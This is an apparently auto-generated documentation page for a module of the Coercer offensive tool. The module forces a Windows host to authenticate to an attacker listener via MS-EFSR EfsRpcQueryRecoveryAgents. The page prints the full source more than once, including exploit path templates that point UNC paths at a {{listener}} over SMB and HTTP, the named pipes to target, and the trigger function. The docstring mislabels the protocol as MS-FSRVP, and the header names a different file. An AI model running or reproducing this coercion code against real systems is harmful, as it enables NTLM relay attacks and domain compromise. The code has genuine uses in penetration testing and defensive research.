coercer.methods.MS_EFSR.EfsRpcQueryRecoveryAgents

View Source

 1#!/usr/bin/env python3
 2# -*- coding: utf-8 -*-
 3# File name          : EfsRpcOpenFileRaw.py
 4# Author             : Podalirius (@podalirius_)
 5# Date created       : 16 Sep 2022
 6
 7
 8from coercer.models.MSPROTOCOLRPCCALL import MSPROTOCOLRPCCALL
 9from coercer.network.DCERPCSessionError import DCERPCSessionError
10from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
11from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, LONG, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR, GUID
12
13
14class _EfsRpcQueryRecoveryAgents(NDRCALL):
15    """
16    Structure to make the RPC call to EfsRpcQueryRecoveryAgents() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)
17    """
18    opnum = 7
19    structure = (
20        ('FileName', WSTR),  # Type: wchar_t *
21    )
22
23
24class _EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
25    """
26    Structure to parse the response of the RPC call to EfsRpcQueryRecoveryAgents() in [MS-EFSR Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31)
27    """
28    structure = ()
29
30
31class EfsRpcQueryRecoveryAgents(MSPROTOCOLRPCCALL):
32    """
33    Coercing a machine to authenticate using function EfsRpcQueryRecoveryAgents (opnum 7) of [MS-FSRVP Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)
34
35    Method found by:
36     - [@topotam77](https://twitter.com/topotam77)
37    """
38
39    exploit_paths = [
40        ("smb", '\\\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'),
41        ("smb", '\\\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'),
42        ("smb", '\\\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'),
43        ("http", '\\\\{{listener}}{{http_listen_port}}/{{rnd(3)}}\\file.txt\x00'),
44    ]
45
46    access = {
47        "ncan_np": [
48            {
49                "namedpipe": r"\PIPE\efsrpc",
50                "uuid": "df1941c5-fe89-4e79-bf10-463657acf44d",
51                "version": "1.0"
52            },
53            {
54                "namedpipe": r"\PIPE\lsarpc",
55                "uuid": "c681d488-d850-11d0-8c52-00c04fd90f7e",
56                "version": "1.0"
57            },
58            {
59                "namedpipe": r"\PIPE\samr",
60                "uuid": "c681d488-d850-11d0-8c52-00c04fd90f7e",
61                "version": "1.0"
62            },
63            {
64                "namedpipe": r"\PIPE\lsass",
65                "uuid": "c681d488-d850-11d0-8c52-00c04fd90f7e",
66                "version": "1.0"
67            },
68            {
69                "namedpipe": r"\PIPE\netlogon",
70                "uuid": "c681d488-d850-11d0-8c52-00c04fd90f7e",
71                "version": "1.0"
72            },
73        ]
74    }
75
76    protocol = {
77        "longname": "[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol",
78        "shortname": "MS-EFSR"
79    }
80
81    function = {
82        "name": "EfsRpcQueryRecoveryAgents",
83        "opnum": 7,
84        "vulnerable_arguments": ["FileName"]
85    }
86
87    def trigger(self, dcerpc_session, target):
88        if dcerpc_session is not None:
89            try:
90                request = _EfsRpcQueryRecoveryAgents()
91                request['FileName'] = self.path
92                resp = dcerpc_session.request(request)
93                return ""
94            except Exception as err:
95                return err
96        else:
97            print("[!] Error: dce is None, you must call connect() first.")
98            return None

class EfsRpcQueryRecoveryAgents(coercer.models.MSPROTOCOLRPCCALL.MSPROTOCOLRPCCALL): View Source

32class EfsRpcQueryRecoveryAgents(MSPROTOCOLRPCCALL):
33    """
34    Coercing a machine to authenticate using function EfsRpcQueryRecoveryAgents (opnum 7) of [MS-FSRVP Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fsrvp/dae107ec-8198-4778-a950-faa7edad125b)
35
36    Method found by:
37     - [@topotam77](https://twitter.com/topotam77)
38    """
39
40    exploit_paths = [
41        ("smb", '\\\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'),
42        ("smb", '\\\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'),
43        ("smb", '\\\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'),
44        ("http", '\\\\{{listener}}{{http_listen_port}}/{{rnd(3)}}\\file.txt\x00'),
45    ]
46
47    access = {
48        "ncan_np": [
49            {
50                "namedpipe": r"\PIPE\efsrpc",
51                "uuid": "df1941c5-fe89-4e79-bf10-463657acf44d",
52                "version": "1.0"
53            },
54            {
55                "namedpipe": r"\PIPE\lsarpc",
56                "uuid": "c681d488-d850-11d0-8c52-00c04fd90f7e",
57                "version": "1.0"
58            },
59            {
60                "namedpipe": r"\PIPE\samr",
61                "uuid": "c681d488-d850-11d0-8c52-00c04fd90f7e",
62                "version": "1.0"
63            },
64            {
65                "namedpipe": r"\PIPE\lsass",
66                "uuid": "c681d488-d850-11d0-8c52-00c04fd90f7e",
67                "version": "1.0"
68            },
69            {
70                "namedpipe": r"\PIPE\netlogon",
71                "uuid": "c681d488-d850-11d0-8c52-00c04fd90f7e",
72                "version": "1.0"
73            },
74        ]
75    }
76
77    protocol = {
78        "longname": "[MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol",
79        "shortname": "MS-EFSR"
80    }
81
82    function = {
83        "name": "EfsRpcQueryRecoveryAgents",
84        "opnum": 7,
85        "vulnerable_arguments": ["FileName"]
86    }
87
88    def trigger(self, dcerpc_session, target):
89        if dcerpc_session is not None:
90            try:
91                request = _EfsRpcQueryRecoveryAgents()
92                request['FileName'] = self.path
93                resp = dcerpc_session.request(request)
94                return ""
95            except Exception as err:
96                return err
97        else:
98            print("[!] Error: dce is None, you must call connect() first.")
99            return None

Coercing a machine to authenticate using function EfsRpcQueryRecoveryAgents (opnum 7) of MS-FSRVP Protocol

Method found by:

@topotam77

def trigger(self, dcerpc_session, target): View Source

88    def trigger(self, dcerpc_session, target):
89        if dcerpc_session is not None:
90            try:
91                request = _EfsRpcQueryRecoveryAgents()
92                request['FileName'] = self.path
93                resp = dcerpc_session.request(request)
94                return ""
95            except Exception as err:
96                return err
97        else:
98            print("[!] Error: dce is None, you must call connect() first.")
99            return None

Inherited Members

coercer.models.MSPROTOCOLRPCCALL.MSPROTOCOLRPCCALL: MSPROTOCOLRPCCALL; method_type; generate_exploit_templates